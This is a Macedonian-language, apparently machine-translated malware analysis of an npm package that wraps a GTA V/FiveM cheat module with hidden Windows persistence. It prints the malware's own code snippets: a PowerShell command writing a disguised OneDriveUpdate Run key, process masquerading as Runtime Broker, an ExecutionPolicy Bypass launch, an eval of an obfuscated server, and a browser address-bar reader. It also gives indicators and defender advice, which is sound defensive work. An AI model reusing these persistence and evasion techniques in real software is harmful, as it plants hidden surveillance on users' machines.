TL; ДР
Пакетот npm чувствителност Се опишува себеси како „Панел за контрола на чувствителност“. Во Windows се однесува како алатка за далечинско управување и надзор.
Неговата влезна точка, launcher.js, го преименува својот процес во Runtime Broker, запишува вредност на автоматски Run-клуч со име OneDriveUpdate што го рестартира пакетот преку скриен VBScript, го создава PowerShell со -ExecutionPolicy Bypass, а потоа оценува оптоварен сервер од 171 KB заедно со нативен модул од 6.87 MB, sens.node.
Служи како контролен панел за спарување телефони на TCP порт 3000 и ја чита URL-адресата во лентата за адреси на активниот прелистувач преку Windows UIAutomation, барајќи едно хард-кодирано YouTube видео.
Два дела што претходно се читаа како црни кутии сега се решени. Замаглениот сервер, server.obf.js, користи шема obfuscator.io RC4 низа-низа; повторното имплементирање на неговиот декодер офлајн (без извршување на JavaScript) обновува една надворешна крајна точка — https://izopi.com/check.php — заедно со вграден RSA јавен клуч што се користи за верификација на потпишаните лиценцирани одговори.
Нативниот модул, sens.node, не е спакуван: неговата табела за увоз и вградените низи го идентификуваат како DirectX 11 / Dear ImGui преклопување во играта кое обезбедува функции на aimbot, ESP (wall-hack) и triggerbot, управувано од далечинско вбризгување на процеси и читање/пишување во меморијата.
Стринговите во него се однесуваат на ентитети на возила и локации на мапи што се во согласност со GTA V / FiveM. Пакетот npm е обвивката за испорака и перзистенција околу тој нативен модул.
Дефинирачкиот сигнал е оперативен, а не технички: еден анонимен издавач објави околу седумдесет верзии од еден пакет — 2.5.0 до 2.5.69 — во текот на неколку дена, секој носејќи го истиот фрлач.
Нема инсталации hooksТоварот работи само кога пакетот е стартуван.
Нападот: Како функционира
sensitivity испраќа десет датотеки. Package.json е оскуден: нема поле за репозиториум, нема лиценца, главен и два алијаси за bin (sensivity, sens) сите насочени кон launcher.js и скрипта за стартување на node launcher.js. Нема постинсталација или преинсталација. Ништо не се активира при npm инсталација. Однесувањето опишано подолу се извршува кога корисникот го стартува пакетот - преку bin shim, скриптата за стартување или require.
Тарболот го содржи лансирачот, замаглен сервер, матичниот модул, скрипта на Visual Basic и јавен/веб директориум за контролниот панел. launcher.js е читливиот оркестратор; логиката што е важна при извршување се наоѓа во двата блока што ги вчитува - замаглен сервер и компајлиран матичен модул, и двата решени подолу.
Маскарада на процеси и лажен OneDrive ажурирач
Во раната фаза на извршување, launcher.js го поставува своето име на процесот двапати:
javascript process.title = 'Runtime Broker'; Runtime Broker е легитимен Windows процес (RuntimeBroker.exe) кој посредува во дозволите за апликации. Преименувањето на Node процес за да одговара на него значи дека еден брз поглед на Task Manager не покажува ништо необично.
Перзистентноста се пишува преку PowerShell, наместо преку директно API за регистар:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Вредноста за автоматско стартување се нарекува OneDriveUpdate и не покажува директно кон пакетот. Таа покажува кон wscript.exe што го извршува пакетот OneDrive.Standalone.Updater.vbs. Таа скрипта го рестартира node launcher.js во скриен прозорец. И името на Run-key и името на датотеката VBScript го позајмуваат брендирањето на Microsoft, па записот за автоматско стартување се чита како рутинска задача на OneDrive.
PowerShell со заобиколување на политиката за извршување
Лансерот постојано врши наплата на PowerShell. Лансерот што скенерите го означуваат како критичен е лансирањето на генерирана .ps1 датотека со оневозможена политика за извршување:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass ја отстранува локалната проверка за потпишување на скрипти за тоа повикување. Генерираните скрипти се справуваат со работата за надзор на прелистувачот и откривање на прозорци опишана во следниот дел.
Замаглениот сервер и матичниот модул
По поставувањето, launcher.js го вчитува и извршува својот вистински товар:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js е 171 KB обфускација на _0x-низата — шемата на JavaScript каде што секој стринг и идентификатор се заменува со индекс во измешана низа, а потоа се дереференцира за време на извршување. Шемата е варијантата RC4 произведена од obfuscator.io: една функција за декодер base64 го декодира записот во низата, а потоа RC4 го декриптира со клуч за секој повик. Повторното имплементирање на тој декодер во посебна скрипта — извршување само на повторното имплементирање преку извлечената низа од низа од 821 записи, никогаш сопствениот JavaScript на пакетот — го одмотува чисто. Она што се појавува е скромно, но деcisive: еден надворешен URL, https://izopi.com/check.php`, доделен на константа LICENSE_URL; вграден RSA PUBLIC_KEY_PEM`; локалниот панел ги насочува /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off и /trigger/status; и низите child_process, crypto и [Sensivity] sens.node loaded — последниот е точната линија од дневникот што стартувачот ја препишува во вчитаниот програмски модул. Крајната точка е проверка на лиценцата: клиентот објавува идентификатор (замаглениот сервер форматира низа од Discord ID: %s) и RSA клучот го потврдува потпишаниот одговор на серверот.
sens.node е компајлиран нативен додаток од 6.87 MB и не е спакуван - ентропијата на секциите е на 5.6–6.6, а табелите за увоз и извоз на PE се недопрени, така што неговите можности се читливи директно. Го експортира napi_register_module_v1, standard Влезна точка на јазол N-API, така што евалуираниот сервер ја вчитува со едноставно барање. Неговата табела за увоз е tell. Од KERNEL32 ги извлекува OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules и Process32First/NextW — канонскиот сет за лоцирање на друг процес, доделување меморија во него и читање или пишување на таа меморија. Од USER32 ги извлекува GetAsyncKeyState, GetKeyState, mouse_event и SetCursorPos; ги поврзува d3d11.dll, D3DCOMPILER_43 и dwmapi за преклопување на екранот, и целиот WINHTTP сет за мрежни повици. Неговите вградени низи го именуваат множеството функции без двосмисленост: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected и банерот Dear ImGui Dear ImGui 1.91.3 WIP. Низите за локација и ентитет како што се Grapeseed Medical Clinic и вокабуларот vehicle-ESP се во согласност со GTA V / FiveM.
Поделбата е всушност намерна: читливиот launcher.js ги содржи само деловите што скенерот лесно ги чита - перзистентност, маскарада, самиот повик за евалуација - додека замаглувањето го крие едниот надворешен хост, контактите за време на извршување, а бинарната датотека ја содржи логиката за преклопување на играта и инјектирање на процесот. Лансерот е тенка, ревидирана обвивка; замаглениот сервер го крие мрежниот идентитет; матичниот модул е товарот. Ги опишуваме увозите и низите на бинарната датотека како прочитани; не ја заклучуваме целта на операторот од нив.
Контролен панел за спарување на телефон на порт 3000
Лансерот управува со локален веб-сервер на TCP порт 3000 и го третира како синглтон. Прашува за постоечки слушател и го брише пред да се поврзе:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Панелот е достапен на http://localhost:3000, со цврсто кодирана резервна URL адреса на LAN од http://192.168.1.16:3000. Јавниот директориум и однесувањето на панелот се во согласност со протокот на QR-спарување: телефонот скенира код и се поврзува со домаќинот како далечински управувач. Не се појавува надворешен домен за команда и контрола во чист текст во стартувачот - но, како што покажува дезафускацијата погоре, еден е присутен во зафускираниот сервер: крајната точка на лиценцата izopi.com. Самиот панел е локален и со LAN опсег; единствениот излезен домаќин е таа проверка на лиценцата.
Моделот на одвоен супервизор/работник го одржува процесот жив. Лансерот се рестартира со знамиња на околината SENSIVITY_SUPERVISOR и SENSIVITY_WORKER, при што секое дете работи скриено, па по убивањето на еден процес останува надзорник кој го рестартира.
Надзор на прелистувачот и сигналот на YouTube
Најспецифичното однесување е следењето на прелистувачот. launcher.js гради PowerShell што го управува Windows UIAutomation да ја чита лентата за адреси на прелистувачот што работи:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern ја враќа текстуалната содржина на елементот на корисничкиот интерфејс. Применет на контролата за уредување на лентата за адреси на прелистувачот, ја враќа URL-адресата што жртвата моментално ја гледа — без екстензија на прелистувачот, без допирање на профилот на дискот и без API кука. Генерираната скрипта ја итерира листата $browserNames и ја извлекува URL-адресата или насловот на прозорецот на кој било прелистувач што е во преден план.
Таа URL-адреса е тестирана во однос на една хард-кодирана цел:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Лансерот пребарува во трисекундна јамка за прозорец на прелистувачот што го прикажува YouTube, а генерираниот PowerShell носи пар Get-YouTubeBrowser / Test-TargetYouTubeUrl што се совпаѓа со тој ID на видео. Забележливиот ефект е двоен: URL-то на активното прелистување се чита од екранот на жртвата и се открива интеракцијата на домаќинот со едно специфично YouTube видео. Го опишуваме механизмот и целта; не заклучуваме мотив од нив.
Читањето во лентата за адреси е она што скенерот го означува како sensitive_data_enumeration — извор на Process::env и UIAutomation што напојува мрежно способно извршување. Изгледа бенигно во изолација и се претвора во надзор само откако животниот циклус на податоците ќе се проследи од изворот на UIAutomation до замаглениот сервер.
Временска рамка и еволуција на верзии
Чувствителноста не е еднократно прикачување. Сметката на издавачот има приближно седумдесет објавени верзии од овој единствен пакет, а нови постојано пристигнуваа за време на периодот на преглед. Лансерот расте функција по функција низ линијата 2.5.x, додека неговата перзистентност и оптоварување остануваат фиксни.
| Датум (UTC) | Набљудувани верзии | Состојба на стартувачот |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Основен QR-панел-лансер; Перзистентност на Run-key; евалуација на замаглен сервер. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Ист отпечаток од прст; потиснување на трагата од конзолата. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Додава закачена цел за ангажман на YouTube wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Пополнување на празнините, повторно објавување низ целиот опсег; надзорник/работник-надзорник. |
Читањето на фрлачот низ преземените претставници - 2.5.0, 2.5.36 и 2.5.69 - покажува четири нивоа. Најраните градби го носат основниот фрлач за спарување QR. Од 2.5.33 се појавува собирачот на лентата за адреси UIAutomation. Од 2.5.58 се додава слој за управување со супервизор. Од 2.5.64, одвоениот надзорник на супервизор/работник го комплетира сетот. Низ целиот процес, четири работи никогаш не се менуваат: клучот OneDriveUpdate Run, dropper-от OneDrive.Standalone.Updater.vbs, евалуираниот server.obf.js и нативниот модул sens.node.
Бранот 2026-06-05 е значаен бидејќи повторно ги објави пониските броеви на верзиите - 2.5.0 до 2.5.15 - кои се наоѓаат под верзиите потврдени неколку дена претходно. Ефектот е постојана линија 2.5.x во регистарот, при што секоја верзија го носи истиот лансирач.
Индикатори за компромис
Сите индикатори подолу беа прочитани директно од tarball-от на пакетот. Читливиот фрлач носи само повратна јамка и една приватна LAN адреса; единственото надворешно име на хост, izopi.com, беше обновено со деобфускација на server.obf.js офлајн.
| тип | индикатор | забелешки |
|---|---|---|
| пакет | npm:sensivity (≈70 верзии, 2.5.0-2.5.69) | Издавач со еден пакет; без складиште; нелиценциран. |
| датотека | launcher.js | Читлив оркестратор; главна и целна единица за корпа. |
| датотека | server.obf.js (≈171 KB) | obfuscator.io RC4 низа од низи, вчитана преку eval(fs.readFileSync(...)). |
| датотека | sens.node (≈6.87 МБ) | PE32+ x86-64 додаток на N-API јазол; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| датотека | OneDrive.Standalone.Updater.vbs | Скриен рестартер (node launcher.js). |
| мрежа | https://izopi.com/check.php | Крајната точка на лиценцата/автентикацијата е обновена од замаглениот сервер; вградениот RSA јавен клуч ги потврдува одговорите. |
| Способност | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Далечинско вбризгување на процеси и можност за читање/пишување во меморија. |
| Способност | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Преклопување на играта DirectX 11 / ImGui што имплементира функции на aimbot, ESP и triggerbot. |
| Регистар | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Вредноста за автоматско стартување покажува кон wscript.exe и VBScript фрлачот. |
| Процесот на | process.title = 'Runtime Broker' | Се маскира како легитимен процес на Windows Runtime Broker. |
| Однесување | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Заобиколување на политиката за извршување што се користи за генерирани PowerShell скрипти. |
| Однесување | UIAutomation ValuePattern читање на лентата за адреси на прелистувачот | Ја чита URL-адресата на прозорецот на прелистувачот во преден план. |
| Однесување | ID на целното видео wJWta2lO0Lw; анкета на YouTube од 3 секунди | Закачен сигнал за следење на ангажманот. |
| мрежа | http://localhost:3000, резервна копија http://192.168.1.16:3000 | Контролен панел за QR-спарување изложен локално и на LAN. |
| животната средина | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Одвоени знамиња за координација на процесот на надзорник. |
Припишување, влијание и бранители
Пакетот е објавен од една npm сметка чија наведена е-пошта е непроверена Gmail адреса. Сметката носи длабоко негативен репутациски резултат во регистарот, одржува и објавува само овој пакет и нема поврзано складиште на извор. Не ја потврдивме сопственоста на е-поштата и ја припишуваме кампањата на сметката на издавачот, а не на некое именувано лице. Лансерот нема инфраструктура со чист текст, но сега е познат единствениот надворешен домаќин: замаглениот сервер контактира со izopi.com за проверка на лиценцата, а матичниот модул - чита од неговата табела за увоз и низи, наместо обратна инструкција-по-инструкција - е преклопување на играта што инјектира во и ја чита меморијата на друг процес.
Забележливото влијание паѓа врз корисниците на Windows кои инсталираат и извршуваат чувствителност очекувајќи алатка од контролниот панел. На тие хостови, пакетот воспоставува перзистентност на автоматско стартување преправена како задача на OneDrive, се преименува за да имитира системски процес, ја чита URL-адресата на она што корисникот го пребарува и поставува панел за спарување што ја поврзува машината со далечински управувач преку локалната мрежа. Контролниот надзорник/работник значи дека еднократното убивање на процесот не го отстранува; записот Run-key ги преживува рестартирањата. macOS и Linux не се цел на фрлачот - патеките на перзистентност, PowerShell и UIAutomation се само за Windows.
Вредноста за обележување на трендот е промената на седумдесет верзии. Повторното објавување на еден пакет десетици пати за неколку дена, вклучително и повторното пополнување на броевите на верзиите под оние што веќе се отстранети, одржува активна копија во регистарот помеѓу отстранувањата и ги фрустрира блокираните листи со закачени верзии. Записот во блокираната листа за sensivity@2.5.61 не прави ништо против sensivity@2.5.3 повторно објавен следниот ден.
Бранителите можат да дејствуваат според следново:
- Блокирајте ја чувствителноста на името на пакетот директно во листите на дозволи за registry-proxy и CI. Закачувањето на поединечни верзии губи поради каденцата за повторно објавување; името е индикатор за трајност.
- Побарајте вредност Run со име OneDriveUpdate чии податоци повикуваат wscript.exe против .vbs во патека по корисник. Оригиналниот OneDrive ажурирач не е регистриран на овој начин.
- Предупредување за процес Node.js чиј process.title е Runtime Broker. Вистинскиот брокер е RuntimeBroker.exe, а не Node runtime.
- Означува npm преземања за време на инсталација на пакети што испраќаат компајлиран .node додаток плус eval(fs.readFileSync(…)) на датотека од типот „браќа и сестри“. Тоа спарување - непроѕирна нативна бинарна датотека вчитана веднаш до товар со замаглен текст - е структурниот показател овде, независно од кој било IOC со низа.
- Третирајте го секој локално поврзан слушател на портата 3000 предизвикан од неочекуван Node процес како сомнителен на управуваните крајни точки на Windows.
- Блокирај или извести за излезни барања до izopi.com од хостови на развивачи или крајни корисници; тоа е единствената надворешна крајна точка на пакетот, до која се доаѓа на /check.php од замаглениот сервер.
- За кој било пакетен .node додаток, проверете ја неговата табела за увоз пред да му верувате. Комбинацијата OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread е инјектирање на далечински процес, без оглед на тоа што тврди дека прави пакетот; тука се наоѓа веднаш до преклопување на Direct3D и низи aimbot/ESP/triggerbot.
За статичка анализа pipelines, обликот на убедување е траен низ целиот процес на менување на верзии: профил за инсталација кој не е поврзан со мрежа, доделување на наслов на процес на познато име на системски процес, запишување со Run-key преку PowerShell и евалуација на датотека прочитана од диск. Ниту едно од овие не зависи од домен, IP адреса или број на верзија што следното повторно објавување може да го ротира.
Референци
[npm: чувствителност] – страница на регистарот за линијата со верзија на пакетот дискутирана овде; подлежи на отстранување.





